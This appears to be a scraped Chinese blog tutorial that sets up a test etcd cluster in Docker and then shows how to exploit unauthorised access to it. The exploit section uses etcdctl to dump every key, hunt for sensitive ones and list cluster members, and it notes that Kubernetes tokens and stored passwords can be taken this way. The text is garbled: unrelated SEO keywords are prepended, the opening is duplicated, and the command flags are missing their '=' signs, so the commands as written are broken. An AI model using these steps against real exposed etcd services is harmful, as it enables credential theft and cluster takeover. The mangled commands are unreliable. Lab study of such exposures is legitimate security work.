用手机怎样制作网站,网站可以做系统吗,企业宽带,微信小程序注册账号一、测试环境搭建
首先拉取etcd镜像
docker pull quay.io/coreos/etcd:v3.3.1
# 查看镜像
docker images创建自定义网络
docker network create --driver bridge --subnet172.16.1.0/16 --gateway172.16.1.1 mynet
# 查看网络
docker network ls创建etcd节点
节点1:
docke…一、测试环境搭建
首先拉取etcd镜像
docker pull quay.io/coreos/etcd:v3.3.1
# 查看镜像
docker images创建自定义网络
docker network create --driver bridge --subnet172.16.1.0/16 --gateway172.16.1.1 mynet
# 查看网络
docker network ls创建etcd节点
节点1:
docker run -d -p 23791:2379 -p 23801:2380 \
--name etcdnode1 \
--networkmynet \
--ip 172.16.2.1 \
quay.io/coreos/etcd:v3.3.1 \
etcd -name etcdnode1 \
-advertise-client-urls http://172.16.2.1:2379 \
-initial-advertise-peer-urls http://172.16.2.1:2380 \
-listen-client-urls http://0.0.0.0:2379 \
-listen-peer-urls http://0.0.0.0:2380 \
-initial-cluster-token etcd-cluster \
-initial-cluster etcdnode1http://172.16.2.1:2380,etcdnode2http://172.16.2.2:2380,etcdnode3http://172.16.2.3:2380 \
-initial-cluster-state new节点2
docker run -d -p 23792:2379 -p 23802:2380 \
--name etcdnode2 \
--networkmynet \
--ip 172.16.2.2 \
quay.io/coreos/etcd:v3.3.1 \
etcd -name etcdnode2 \
-advertise-client-urls http://172.16.2.2:2379 \
-initial-advertise-peer-urls http://172.16.2.2:2380 \
-listen-client-urls http://0.0.0.0:2379 \
-listen-peer-urls http://0.0.0.0:2380 \
-initial-cluster-token etcd-cluster \
-initial-cluster etcdnode1http://172.16.2.1:2380,etcdnode2http://172.16.2.2:2380,etcdnode3http://172.16.2.3:2380 \
-initial-cluster-state new节点3:
docker run -d -p 23793:2379 -p 23803:2380 \
--name etcdnode3 \
--networkmynet \
--ip 172.16.2.3 \
quay.io/coreos/etcd:v3.3.1 \
etcd -name etcdnode3 \
-advertise-client-urls http://172.16.2.3:2379 \
-initial-advertise-peer-urls http://172.16.2.3:2380 \
-listen-client-urls http://0.0.0.0:2379 \
-listen-peer-urls http://0.0.0.0:2380 \
-initial-cluster-token etcd-cluster \
-initial-cluster etcdnode1http://172.16.2.1:2380,etcdnode2http://172.16.2.2:2380,etcdnode3http://172.16.2.3:2380 \
-initial-cluster-state new配置项参数说明
–nameetcd集群中的节点名这里可以随意可区分且不重复就行
–listen-peer-urls监听的用于节点之间通信的url可监听多个集群内部将通过这些url进行数据交互(如选举数据同步等)
–initial-advertise-peer-urls建议用于节点之间通信的url节点间将以该值进行通信。
–listen-client-urls监听的用于客户端通信的url同样可以监听多个。
–advertise-client-urls建议使用的客户端通信 url该值用于 etcd 代理或 etcd 成员与 etcd 节点通信。
–initial-cluster-token etcd-cluster-1节点的 token 值设置该值后集群将生成唯一 id并为每个节点也生成唯一 id当使用相同配置文件再启动一个集群时只要该 token 值不一样etcd 集群就不会相互影响。
–initial-cluster也就是集群中所有的 initial-advertise-peer-urls 的合集。
–initial-cluster-statenew新建集群的标志# 查看docker进程
docker ps二、未授权访问利用
etcd v3版本的api和v2版本完全不同v3版本访问上面的url不会看到任何数据。如果要在v3版本开启v2接口要通过命令etcd --enable-v2true即可完成如下所示
docker run -d -p 23791:2379 -p 23801:2380 \
--name etcdnode1 \
--networkmynet \
--ip 172.16.2.1 \
registry.aliyuncs.com/google_containers/etcd:3.5.1-0 \
etcd --enable-v2true \
-name etcdnode1 \
-advertise-client-urls http://172.16.2.1:2379 \
-initial-advertise-peer-urls http://172.16.2.1:2380 \
-listen-client-urls http://0.0.0.0:2379 \
-listen-peer-urls http://0.0.0.0:2380 \
-initial-cluster-token etcd-cluster \
-initial-cluster etcdnode1http://172.16.2.1:2380,etcdnode2http://172.16.2.2:2380,etcdnode3http://172.16.2.3:2380 \
-initial-cluster-state newdocker run -d -p 23792:2379 -p 23802:2380 \
--name etcdnode2 \
--networkmynet \
--ip 172.16.2.2 \
registry.aliyuncs.com/google_containers/etcd:3.5.1-0 \
etcd --enable-v2true \
-name etcdnode2 \
-advertise-client-urls http://172.16.2.2:2379 \
-initial-advertise-peer-urls http://172.16.2.2:2380 \
-listen-client-urls http://0.0.0.0:2379 \
-listen-peer-urls http://0.0.0.0:2380 \
-initial-cluster-token etcd-cluster \
-initial-cluster etcdnode1http://172.16.2.1:2380,etcdnode2http://172.16.2.2:2380,etcdnode3http://172.16.2.3:2380 \
-initial-cluster-state newdocker run -d -p 23793:2379 -p 23803:2380 \
--name etcdnode3 \
--networkmynet \
--ip 172.16.2.3 \
registry.aliyuncs.com/google_containers/etcd:3.5.1-0 \
etcd --enable-v2true \
-name etcdnode3 \
-advertise-client-urls http://172.16.2.3:2379 \
-initial-advertise-peer-urls http://172.16.2.3:2380 \
-listen-client-urls http://0.0.0.0:2379 \
-listen-peer-urls http://0.0.0.0:2380 \
-initial-cluster-token etcd-cluster \
-initial-cluster etcdnode1http://172.16.2.1:2380,etcdnode2http://172.16.2.2:2380,etcdnode3http://172.16.2.3:2380 \
-initial-cluster-state new v2版本 搭建好上面的测试环境后可以执行以下命令向etcd中插入几条测试数据
etcdctl --endpoints192.168.0.128:23791 put /testdir/testkey1 Hello world1
etcdctl --endpoints192.168.0.128:23791 put /testdir/testkey2 Hello world2
etcdctl --endpoints192.168.0.128:23791 put /testdir/testkey3 Hello world3执行下面命令即可读取etcd中存储的所有数据(在keys中查找敏感key)
etcdctl --endpoints192.168.0.128:23791 get / --prefix然后就可以查看指定key的值
etcdctl --endpoints192.168.0.128:23791 get /testdir/testkey1--prefix用来指定前缀上述命令的意思就是获取所有“/”作为前缀的key value值
如果结果过多还可以通过--limit选项限制数量
etcdctl --endpoints192.168.0.128:23791 get / --prefix --limit2下面命令可用于列出当前目标所属同一集群的所有节点
etcdctl --endpoints192.168.0.128:23791 member list更多etcdctl使用示例可以在压缩包中的README-etcdctl.md、READMEv2-etcdctl.md文档里查看分别对应v3、v2版本api。
三、未授权访问可能产生的风险
kubernetes的master会安装etcd v3用来存储数据如果管理员进行了错误的配置导致etcd未授权访问的情况那么攻击者就可以从etcd中拿到kubernetes的认证鉴权token从而接管集群。
在真实的场景中还有一些应用使用etcd来存储各种服务的账号密码、公私钥等敏感数据。而很多etcd服务的使用者完全没有考虑过其安全风险这种情况和redis的使用情况差不多在企业内网比较普遍甚至也有少部分人会将其开放到公网。
更多关于etcd未授权访问风险的描述可参考https://gcollazo.com/the-security-footgun-in-etcd/